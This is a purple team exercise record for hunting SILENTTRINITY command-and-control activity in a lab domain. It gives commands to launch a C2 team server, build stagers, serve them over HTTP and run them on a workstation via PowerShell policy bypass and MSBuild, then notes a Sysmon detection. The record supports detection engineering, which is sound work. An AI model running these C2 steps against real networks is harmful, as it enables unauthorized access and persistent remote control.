Purple Team Lifecycle

Overall
Status: **Completed**

PB1130 - C2 SILENTTRINITY Hunt

Lifecycle Project Manager
Kent Ickler
Office: 605-939-0331
Email: kent@defensiveorigins.com

- Lifecycle Kickoff: 6/30/2020
- Simulation Start: 7/1/2020
- Simulation End: 7/3/2020
- Configuration Identified: 7/2/2020
- Change Management Referred 7/3/2020
- Configuration Deployed:

Status Code Legend
- Attack Simulation
- Defense Simulation
- System Configuration Change
- Information

APT Lifecycle
Ingest and Research

- Lifecycle Type: **Attack Simulation**
- Lifecycle Objective: **Alert**
- Ingest Source:
- **MITRE T1086 [execution], T1127**
- https://attack.mitre.org/techniques/T1127/

- Use SILENTTRINITY C2 Framework to attempt to gain access to the secured domain environment.

Attack methodology

- Launch SILENTTRINITY Team Server, Connect

```
1$) python3.8 st.py teamserver --port 81 10.10.98.20 APTClass!
2$) python st.py client wss://aptclass:APTClass\!@10.10.98.20:81
```

- Build stage listener

```
listeners
use https
set port 4444
start
```

- Build malware stagers

```
stagers
use powershell
generate https
use msbuild
generate https
```

- Server Malware

```
mv stager.* /opt/web
cd /opt/web
python3 -m http.server
```

- Download malware on workstation. http://10.10.98.228:8000
- Execute malware on network workstation.

```
powershell -ep bypass
Import-Module .\Downloads\stager.ps1
```

- Execute malware via Trusted Developer Tools (T1127)

```
cd c:\Windows\Microsoft.NET\Framework64\v4.0.30319\
MSBuild.exe c:\Users\heather.butler\Downloads\stager.xml
```

- Confirm new SILENTTRINITY sessions

```
sessions
list
```

Defense methodology	• Search within optics stack for evidence of execution.
Lifecycle Adjustments	• Within Sysmon logs, note "msbuild.exe" and "T1218" • This indicates that msbuild.exe was responsible for launching the payload. This is not behavior typical of msbuild,exe.
Change Management	• Deploy updated logging adjustments as defined to production optics stack. • Effected Users: N/A • Rollback: Remove logging configuration/search query
Lessons Learned	• This type of behavior is not typical of msbuild.exe.